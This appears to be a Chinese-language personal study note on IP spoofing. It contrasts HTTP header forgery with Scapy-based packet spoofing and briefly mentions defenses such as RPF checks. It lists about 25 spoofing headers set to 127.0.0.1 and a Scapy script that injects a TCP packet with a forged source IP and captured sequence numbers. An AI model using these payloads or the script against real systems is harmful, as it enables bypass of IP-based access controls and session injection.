ip伪造分析

前言

刚开始认为ip伪造只是简单的更改http请求里面的请求头,后面发现可以更改的地方还是比较多的,记录一下,目前学到的

应用层(HTTP) :xff等ip请求头伪造 用于伪造ip

网络层/传输层 :IP 层伪造(Scapy 库构建) 用于反射 / 放大攻击/DDoS / SYN Flood

防御:采用TCP 握手的源 IP【该ip是内核给的】、在路由器上启用RPF检查

对比点 IP 层伪造(Scapy 那种) XFF 伪造
所在层级 网络层 / 传输层 应用层(HTTP)
改的是什么 IP 包头里的 src IP HTTP Header
能否完成 TCP 握手 ❌ 不能 ✅ 能
服务器看到的 TCP IP ❌ 假的 ✅ 真的
nginx remote_addr ❌ 伪造值 ✅ 真实值
能否正常访问接口
主要用途 DDoS / 反射攻击 绕业务逻辑
安全价值 网络攻击 Web 漏洞利用

应用层

这个就是抓包软件抓到然后改请求头就行了,常用的ip伪造请求头如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
X-Forwarded-For: 127.0.0.1
X-Forwarded: 127.0.0.1
Forwarded-For: 127.0.0.1
Forwarded: 127.0.0.1
X-Requested-With: 127.0.0.1
X-Forwarded-Proto: 127.0.0.1
X-Forwarded-Host: 127.0.0.1
X-remote-IP: 127.0.0.1
X-remote-addr: 127.0.0.1
True-Client-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
Client-IP: 127.0.0.1
X-Real-IP: 127.0.0.1
Ali-CDN-Real-IP: 127.0.0.1
Cdn-Src-Ip: 127.0.0.1
Cdn-Real-Ip: 127.0.0.1
CF-Connecting-IP: 127.0.0.1
X-Cluster-Client-IP: 127.0.0.1
WL-Proxy-Client-IP: 127.0.0.1
Proxy-Client-IP: 127.0.0.1
Fastly-Client-Ip: 127.0.0.1
True-Client-Ip: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Host: 127.0.0.1
X-Custom-IP-Authorization: 127.0.0.1

网络层/传输层

使用 Scapy 库编写 IP 地址欺骗攻击脚本_scapy ip-CSDN博客

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from scapy.all import *
from scapy.layers.inet import TCP


def non_blind_spoofing(target_ip, spoofed_ip, target_port, seq_num, ack_num):
packet = IP(src=spoofed_ip, dst=target_ip) / TCP(sport=12345, dport=target_port, seq=seq_num, ack=ack_num, flags="PA") / b"Non-blind spoofing attack"
send(packet)


if __name__ == "__main__":
target_ip = "192.168.134.148" # 目标系统的IP地址
spoofed_ip = "192.168.1.1" # 伪造的源IP地址
target_port = 80 # 目标系统开放的端口
seq_num = 1000 # 合法通信中捕获的序列号
ack_num = 1001 # 合法通信中捕获的确认号
non_blind_spoofing(target_ip, spoofed_ip, target_port, seq_num, ack_num)